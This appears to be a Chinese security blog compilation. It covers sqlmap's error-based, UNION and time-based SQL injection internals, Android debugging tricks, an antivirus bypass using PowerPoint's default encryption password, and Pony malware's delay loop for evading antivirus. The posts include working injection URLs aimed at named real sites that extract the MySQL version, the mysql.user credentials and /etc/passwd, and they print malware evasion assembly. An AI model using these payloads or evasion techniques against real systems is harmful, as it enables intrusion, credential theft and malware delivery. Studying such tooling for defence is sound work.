http://to.goojje.com/qunba.php?ac=thread_qb&tid=9136%20AND%20(SELECT%209066%20FROM(SELECT%20COUNT(*),CONCAT(CHAR(58,106,108,98,58),(MID((IFNULL(CAST(VERSION()%20AS%20CHAR),CHAR(32))),1,50)),CHAR(58,108,112,108,58),FLOOR(RAND(0)*2))x%20FROM%20information_schema.tables%20GROUP%20BY%20x)a)

urldecode 后:

1
http://to.goojje.com/qunba.php?ac=thread_qb&tid=9136 AND (SELECT 9066 FROM(SELECT COUNT(*),CONCAT(CHAR(58,106,108,98,58),(MID((IFNULL(CAST(VERSION() AS CHAR),CHAR(32))),1,50)),CHAR(58,108,112,108,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
  • CONCAT 字符串连接
  • IFNULL 判断是否为空
  • CAST 将字符串转化为不同的字符集
  • MID 字符串截取 MID(string, position[, length])
  • CHAR(58,106,108,98,58) => :bjl:
  • CHAR(58,108,112,108,58) => :lpl:

利用的Mysql的一个特性,http://bugs.mysql.com/bug.php?id=32249

Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause

这部分没有记录。

PostgreSQL AND error-based - WHERE or HAVING clause

这部分没有记录。

Oracle AND error-based - WHERE or HAVING clause (XMLType)

1
http://to.goojje.com/qunba.php?ac=thread_qb&tid=9136 AND (SELECT 6531 FROM(SELECT COUNT(*),CONCAT(CHAR(58,121,121,98,58),(SELECT MID(IFNULL(CAST(concat(user,char(58),password) AS CHAR), CHAR(32)),1,50) FROM mysql.user LIMIT 0,1),CHAR(58,106,116,113,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

unionTest() 函数,UNION query (inband) SQL injection

(1) 设置union 使用的字符和注释
(2) 判断union查询的列数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
def forgeInbandQuery(self, query, position, count, comment, prefix, suffix, char, multipleUnions=None, limited=False):
"""
Take in input an query (pseudo query) string and return its
processed UNION ALL SELECT query.

Examples:

MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user
MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488

PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow
PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713

Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))
Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738

Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins
Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254

@param query: it is a processed query string unescaped to be
forged within an UNION ALL SELECT statement
@type query: C{str}

@param position: it is the NULL position where it is possible
to inject the query
@type position: C{int}

@return: UNION ALL SELECT query string forged
@rtype: C{str}
"""

if query.startswith("SELECT "):
query = query[len("SELECT "):]

inbandQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix)

if limited:
inbandQuery += ",".join(map(lambda x: char if x != position else '(SELECT %s)' % query, xrange(0, count)))
inbandQuery += FROM_TABLE.get(Backend.getIdentifiedDbms(), "")
inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)

return inbandQuery

topNumRegex = re.search("\ATOP\s+([\d]+)\s+", query, re.I)
if topNumRegex:
topNum = topNumRegex.group(1)
query = query[len("TOP %s " % topNum):]
inbandQuery += "TOP %s " % topNum

intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I)

if intoRegExp:
intoRegExp = intoRegExp.group(1)
query = query[:query.index(intoRegExp)]

if Backend.getIdentifiedDbms() in FROM_TABLE and inbandQuery.endswith(FROM_TABLE[Backend.getIdentifiedDbms()]):
inbandQuery = inbandQuery[:-len(FROM_TABLE[Backend.getIdentifiedDbms()])]

for element in xrange(0, count):
if element > 0:
inbandQuery += ", "

if element == position:
if " FROM " in query and ("(CASE " not in query or ("(CASE " in query and "WHEN use" in query)) and "EXISTS(" not in query and not query.startswith("SELECT "):
conditionIndex = query.index(" FROM ")
inbandQuery += query[:conditionIndex]
else:
inbandQuery += query
else:
inbandQuery += char

if " FROM " in query and ("(CASE " not in query or ("(CASE " in query and "WHEN use" in query)) and "EXISTS(" not in query and not query.startswith("SELECT "):
conditionIndex = query.index(" FROM ")
inbandQuery += query[conditionIndex:]

if Backend.getIdentifiedDbms() in FROM_TABLE:
if " FROM " not in inbandQuery or "(CASE " in inbandQuery or "(IIF" in inbandQuery:
inbandQuery += FROM_TABLE[Backend.getIdentifiedDbms()]

if intoRegExp:
inbandQuery += intoRegExp

if multipleUnions:
inbandQuery += " UNION ALL SELECT "

for element in xrange(count):
if element > 0:
inbandQuery += ", "

if element == position:
inbandQuery += multipleUnions
else:
inbandQuery += char

if Backend.getIdentifiedDbms() in FROM_TABLE:
inbandQuery += FROM_TABLE[Backend.getIdentifiedDbms()]

inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)

return inbandQuery


def __findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL):
"""
Finds number of columns affected by UNION based injection
"""
retVal = None

pushValue(kb.errorIsNone)
items, ratios = [], []
kb.errorIsNone = False
lowerCount, upperCount = conf.uColsStart, conf.uColsStop

if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: # MIN_UNION_RESPONSES = 5
upperCount = lowerCount + MIN_UNION_RESPONSES

min_, max_ = MAX_RATIO, MIN_RATIO # MAX_RATIO = 1.0, MIN_RATIO = 0.0

for count in range(lowerCount, upperCount+1):
query = agent.forgeInbandQuery('', -1, count, comment, prefix, suffix, conf.uChar)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
page, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
ratio = comparison(page, True) or MIN_RATIO
ratios.append(ratio)
min_, max_ = min(min_, ratio), max(max_, ratio)
items.append((count, ratio))

ratios.pop(ratios.index(min_)) # pop the min
ratios.pop(ratios.index(max_)) # pop the max

deviation = stdev(ratios) # 计算标准偏差

if abs(max_ - min_) < MIN_STATISTICAL_RANGE: # MIN_STATISTICAL_RANGE = 0.01
return None

# UNION_STDEV_COEFF = 7
lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
minItem, maxItem = None, None

for item in items:
if item[1] == min_:
minItem = item
elif item[1] == max_:
maxItem = item

if min_ < lower:
retVal = minItem[0]

if max_ > upper:
if retVal is None or abs(max_ - upper) > abs(min_ - lower):
retVal = maxItem[0]

kb.errorIsNone = popValue()

if retVal:
infoMsg = "target url appears to be UNION injectable with %d columns" % retVal
logger.info(infoMsg)

return retVal

(3) 根据不同的数据库加上必要的from 表名
(4) 再次验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
def __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
validPayload = None
vector = None

positions = range(0, count)

# Unbiased approach for searching appropriate usable column
# list 中元素乱序
random.shuffle(positions)

# For each column of the table (# of NULL) perform a request using
# the UNION ALL SELECT statement to test it the target url is
# affected by an exploitable inband SQL injection vulnerability
# 查找可以显示的列
for position in positions:
# Prepare expression with delimiters
randQuery = randomStr(UNION_MIN_RESPONSE_CHARS) #UNION_MIN_RESPONSE_CHARS = 10
# 构造随机字符串做标记
phrase = "%s%s%s".lower() % (kb.misc.start, randQuery, kb.misc.stop)
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
import logging
logging.debug('randQueryProcessed: %s' % randQueryProcessed)
randQueryUnescaped = unescaper.unescape(randQueryProcessed)

# Forge the inband SQL injection request
# 构造UNION ALL SELECT 查询
query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, conf.uChar)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)

# Perform the request
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
# 移除反射的内容
content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
payload, True) or "")

if content and phrase in content:
validPayload = payload
vector = (position, count, comment, prefix, suffix, conf.uChar, where)

if where == PAYLOAD.WHERE.ORIGINAL:
# Prepare expression with delimiters
randQuery2 = randomStr(UNION_MIN_RESPONSE_CHARS) # UNION_MIN_RESPONSE_CHARS = 10
phrase2 = "%s%s%s".lower() % (kb.misc.start, randQuery2, kb.misc.stop)
randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2)

# Confirm that it is a full inband SQL injection
query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, conf.uChar, multipleUnions=randQueryUnescaped2)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=PAYLOAD.WHERE.NEGATIVE)

# Perform the request
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "")

if content and ((phrase in content and phrase2 not in content) or (phrase not in content and phrase2 in content)):
vector = (position, count, comment, prefix, suffix, conf.uChar, PAYLOAD.WHERE.NEGATIVE)

break

return validPayload, vector
1
http://ipv6.tsinghua.edu.cn/end.php?ID=-3255%20UNION%20ALL%20SELECT%20NULL,%20CONCAT%28CHAR%2858,107,113,117,58%29,IFNULL%28CAST%28LOAD_FILE%28CHAR%2847,101,116,99,47,104,111,115,116,115%29%29%20AS%20CHAR%29,CHAR%2832%29%29,CHAR%2858,101,114,112,58%29%29,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL#
1
http://ipv6.tsinghua.edu.cn/end.php?ID=-8675%20UNION%20ALL%20SELECT%20NULL,%20CONCAT%28CHAR%2858,108,100,107,58%29,IFNULL%28CAST%28LOAD_FILE%28CHAR%2847,101,116,99,47,112,97,115,115,119,100%29%29%20AS%20CHAR%29,CHAR%2832%29%29,CHAR%2858,111,121,105,58%29%29,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL#

基于响应时间, time-based blind and stacked queries SQL injections

判断是否delay,在 lib/core/common.py 中wasLastRequestDelayed 实现根据统计结果,sqlmap 注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
def wasLastRequestDelayed():
"""
Returns True if the last web request resulted in a time-delay
"""

# 99.9999999997440% of all non time-based sql injection affected
# response times should be inside +-7*stdev([normal response times])
# Math reference: http://www.answers.com/topic/standard-deviation
deviation = stdev(kb.responseTimes) # 计算所有响应时间的标准偏差
threadData = getCurrentThreadData()

if deviation:
# 需要一定数据量,统计结果才有意义
# MIN_TIME_RESPONSES = 10
if len(kb.responseTimes) < MIN_TIME_RESPONSES:
warnMsg = "time-based standard deviation method used on a model "
warnMsg += "with less than %d response times" % MIN_TIME_RESPONSES
logger.warn(warnMsg)

# TIME_STDEV_COEFF = 10 必须大于等于7
lowerStdLimit = average(kb.responseTimes) + TIME_STDEV_COEFF * deviation
retVal = (threadData.lastQueryDuration >= lowerStdLimit)

# 如果retVal 为True, 发生Delay,需要调整
# TIME_DEFAULT_DELAY = 5, kb.testMode sql injection test mode,
# 用户没用手动更改Delay 时间
if not kb.testMode and retVal and conf.timeSec == TIME_DEFAULT_DELAY:
adjustTimeDelay(threadData.lastQueryDuration, lowerStdLimit)

return retVal
else:
return (threadData.lastQueryDuration - conf.timeSec) >= 0


# length of queue for candidates for time delay adjustment
TIME_DELAY_CANDIDATES = 3
kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
kb.delayCandidates = [0, 0, 0]


def adjustTimeDelay(lastQueryDuration, lowerStdLimit):
"""
Adjusts time delay in time-based data retrieval
"""

candidate = 1 + int(round((1 - (lastQueryDuration - lowerStdLimit) / lastQueryDuration) * conf.timeSec))

if candidate:
kb.delayCandidates = [candidate] + kb.delayCandidates[:-1]

if all([x == candidate for x in kb.delayCandidates]) and candidate < conf.timeSec:
print

warnMsg = "adjusting time delay to %d second%s " % (candidate, 's' if candidate > 1 else '')
warnMsg += "(due to good response times)"
logger.warn(warnMsg)

conf.timeSec = candidate

在虚拟机中调试android 手机的方法

由于Google的源码是在ubuntu下编译的,Google官方提供了较为详细的编译说明,所以使用 了ubuntu 14.04 进行编译,编译完成后有一个问题,如何进行源码调试。(源代码在虚拟机中)

使用 virutalbox Extension Pack

首先的想法是直接使用中virutalBox 的USB 把手机给连到guest,折腾了一下比较麻烦, 首先需要安装virutalbox 的 Extension Pack,下载地址

http://download.virtualbox.org/virtualbox/5.1.18/Oracle_VM_VirtualBox_Extension_Pack-5.1.18-114002.vbox-extpack

管理->全局设定->扩展,选择下载的扩展包,安装。接下来这步很关键,上次就是这里没有搞定。

1
sudo usermod -a -G vboxusers <username>

执行命令后需要注销,重新登录。

VirtualBox 虚拟机设置 -> usb 添加需要接入 guest 的 usb 设备。

1
2
3
4
5
> lsudo lsusb  
Bus 001 Device 002: ID 18d1:4ee7 Google Inc.
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 002 Device 002: ID 80ee:0021 VirtualBox USB Tablet
Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub

使用端口映射

后面想到adb 其实是通过tcp 和Android设备通讯, 所以只要做端口映射打个通道,就可以解决在virutalBox的虚拟机里调试手机的问题。

1
tcp        0      0 127.0.0.1:5037          0.0.0.0:*               LISTEN      26706/adb 

在guest里执行下面两条命令

1
2
autossh -nNL1234:localhost:1234  10.0.2.2 
autossh -nNL5037:localhost:5037 10.0.2.2

其中 10.0.2.2 是host的ip,5037 是adb 默认监听的端口,1234 是gdbserver 监听的端 口,利用ssh在host和guest 打个通道。

在host执行adb forward 命令

1
adb forward tcp:1234 tcp:1234 

这条命令在host和手机上建立了一条通道。

这样就搞定了adb的连接问题。执行这三行命令后在ubuntu下, adb devices 可以看到下面的输出, 问题得到解决。

1
2
3
4
> adb devices  
List of devices attached 01b00af93dc59e163 device

gdbclient system_server :1234 4475

输出正常,可以开始调试了。

PowerPoint 彩蛋和加密

PowerPoint的彩蛋

PowerPoint的彩蛋是一个很复杂的密码 /01Hannes Ruescher/01 发现这个密码是在 binvul的论坛里面,在网上搜索了一下有几个链接提到了这个密码。

http://social.msdn.microsoft.com/Forums/en-US/4194b097-c5ca-416a-b9d6-7a65ff7d9d43
http://msdn.microsoft.com/en-us/library/dd923811(v=office.12).aspx

第二个链接里面有一段关键的内容,

1
2
3
4
If the user has not supplied an encryption password and the document is 
encrypted, the default encryption choice using the techniques specified in
section 2.3 MUST be the following password:
"\x2f\x30\x31\x48\x61\x6e\x6e\x65\x73\x20\x52\x75\x65\x73\x63\x68\x65\x72\x2f\x30\x31".

这里section 2.3 指的是[MS-PPT]中的section 2.3,我们可以发现这个彩蛋其实就是一个类似默认密码的东西。下面来说说这个密码的神奇之处。

彩蛋的利用

主要可以用来过杀软,因为性能原因目前很多杀软都不做PPT文档解密。而用户打开却不需要输入密码,非常巧妙。我在binvul上看到一个利用这个技术的样本。

参考资料

[MS-PPT].pdf
[MS-OFFCRYPTO].pdf

非root Android 设备用gdbserver进行native 调试的方法

没有root的设备,要使用gdbserver 调试app 会遇到权限问题。(emulator 没有问题)

1
2
3
1|shell@mako:/data/local/tmp $ ./gdbserver :1234 --attach 16907
Cannot attach to lwp 16907: Operation not permitted (1)
Exiting

Android 系统提供了一个run-as 命令来暂时切换用户,但是这个命令有限制,必须是app 打开了debuggable才行,否则会报 Package xx is not debuggable 的错误。
http://android.googlesource.com/platform/system/core.git/+/master/run-as/run-as.c 的注释来看,主要的作用有两个:

  • 可以查看自己开发的应用的数据
  • 可以使用gdb_server 进行native 的debug

我们的需求是第2个,我们希望可以使用gdb_server 来调试 app

1
2
3
4
5
6
shell@mako:/ $ run-as
Usage: run-as []

shell@mako:/ $
shell@mako:/ $ run-as system_server /data/tmp/gdbserver --attach 596 :1234
run-as: Package 'system_server' is unknown

翻看源码,发现有下面 代码:

1
2
3
4
5
6
7
8
/* reject system packages */
if (userAppId < AID_APP) {
panic("Package '%s' is not an application\n", pkgname);
}
/* reject any non-debuggable package */
if (!info.isDebuggable) {
panic("Package '%s' is not debuggable\n", pkgname);
}

限制比较严格,调试系统app估计是没什么戏,root了应该就没有问题了。但是调试一般的app 还是没有问题的,用apktool 将 AndroidManifest.xml 的 debuggable 设置为true,重新 打包就可以进行native 的 debug 了。下面以CVE-2014-7911的POC为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.heen.CVE_2014_7911">

<application
android:allowBackup="true"
android:debuggable="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name=".MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>

</manifest>

这个app 正好 android:debuggable=”true” 不用修改了,在模拟器上安装这个app。搭建 gdb调试环境, 分下面几个步骤走:

(1) 创建几个目录

1
2
3
mkdir ~/Android
mkidr ~/Android/system_lib
mkidr ~/Android/vendor_lib

(2) 将Android 设置上的lib下载到本地

1
2
3
4
5
6
7
8
9
10
11
12
13
cd ~/Android/system_lib/
adb pull /system/lib

cd ~/Android/vendor_lib/
adb pull /vendor/lib

cd ~/Android

# 在64位系统 /system/bin/app_process32 和 /system/bin/app_process64
adb pull /system/bin/app_process

cd ~/Android
adb pull /system/bin/linker

(3) 上传gdbserver

1
adb push $NDK_PATH/prebuilt/android-arm/gdbserver/gdbserver /data/local/tmp/gdbserver

环境基本搭建好了,测试一下 run-as 命令

1
2
3
4
5
> adb shell ps

...
u0_a86 16907 174 900568 38564 ffffffff 00000000 S com.heen.CVE_2014_7911
...
1
2
> adb shell run-as com.heen.CVE_2014_7911 id
uid=10086(u0_a86) gid=10086(u0_a86) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:untrusted_app:s

已经切换过来了,uid 变了,挂上gdbserver

1
2
3
4
> adb shell run-as com.heen.CVE_2014_7911 /data/local/tmp/gdbserver :123 --attach 16907

Can't open socket: Permission denied.
Exiting

报了另外一个错误,还是不行,google 一翻发现有debug-pipe 参数,尝试了一下

1
2
3
> adb shell run-as com.heen.CVE_2014_7911 /data/local/tmp/gdbserver +debug-pipe --attach 16907
Attached; pid = 16907
Listening on Unix socket debug-pipe

恩,现在没有报错了,执行一下端口转发。

1
2
adb forward tcp:5039 localfilesystem:/data/data/com.heen.CVE_2014_7911/debug-pipe

OK, 已经可以调试了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
> $NDK_PATH/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/bin/arm-linux-androideabi-gdb ~/Android/app_process 
GNU gdb (GDB) 7.6
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "--host=x86_64-linux-gnu --target=arm-linux-android".
For bug reporting instructions, please see:
...
Reading symbols from /home/henices/Android/app_process...(no debugging symbols found)...done.
(gdb) target remote :5039
Remote debugging using :5039
warning: Could not load shared library symbols for 100 libraries, e.g. /system/bin/linker.
Use the "info sharedlibrary" command to see the complete listing.
Do you need "set solib-search-path" or "set sysroot"?
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
0x4013a73c in ?? ()

(gdb) info proc
process 16907
cmdline = 'com.heen.CVE_2014_7911'
cwd = '/'
exe = '/system/bin/app_process'

(gdb) set solib-search-path ~/Android:~/Android/system_lib/:~/Android/vendor_lib/
(gdb) info sharedlibrary
0x400f3a60 0x400fe79c Yes (*) /home/henices/Android/linker
0x40126070 0x401566ec Yes (*) /home/henices/Android/system_lib/libc.so
0x40174828 0x401749c8 Yes (*) /home/henices/Android/system_lib/libstdc++.so
0x401798f0 0x4018c478 Yes (*) /home/henices/Android/system_lib/libm.so
0x40114f50 0x40116490 Yes (*) /home/henices/Android/system_lib/liblog.so
0x4010c38c 0x40110988 Yes (*) /home/henices/Android/system_lib/libcutils.so
0x401acb1c 0x401af20c Yes (*) /home/henices/Android/system_lib/libgccdemangle.so
0x401a81d0 0x401a94ac Yes (*) /home/henices/Android/system_lib/libcorkscrew.so
0x4019b780 0x401a1f24 Yes (*) /home/henices/Android/system_lib/libutils.so
0x401cbc50 0x401d5ba4 Yes (*) /home/henices/Android/system_lib/libbinder.so
0x402955f0 0x4029585c Yes (*) /home/henices/Android/system_lib/libhardware.so
0x402925d0 0x40292834 Yes (*) /home/henices/Android/system_lib/libmemtrack.so
0x402bbbf0 0x402cb80c Yes (*) /home/henices/Android/system_lib/libz.so
0x402a4240 0x402b23fc Yes (*) /home/henices/Android/system_lib/libandroidfw.so
0x402d6774 0x402e53a0 Yes (*) /home/henices/Android/system_lib/libexpat.so
0x403083a8 0x4031e684 Yes (*) /home/henices/Android/system_lib/libstlport.so

通过延迟执行的方法来逃逸杀软

pony 2.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
; KAV heuristic fucker

KAVHeurKiller proc uses esi
LOCAL counter: DWORD
AntiDisasmTrick
push eax
mov ecx, ecx
pop eax
mov ecx, ecx
push eax
sub esi, esi
pop eax
mov ecx, ecx
push 19131011
mov ecx, ecx
pop counter
mov edx, eax
.WHILE counter
mov edx, eax
mov ecx, ecx
add eax, esi
mov edx, eax
mov ecx, ecx
push eax
mov ecx, ecx
mov edx, eax
invoke GetTickCount
mov ecx, ecx
pop eax
mov edx, eax
mov ecx, ecx
add eax, edx
mov ecx, ecx
mov edx, eax
dec counter
.ENDW
ret
KAVHeurKiller endp

pony 1.9

1
2
3
4
5
6
7
8
9
.WHILE  TRUE
invoke GetTickCount
mov ecx, 10
xor edx, edx
div ecx
.IF edx == 5
.BREAK
.ENDIF
.ENDW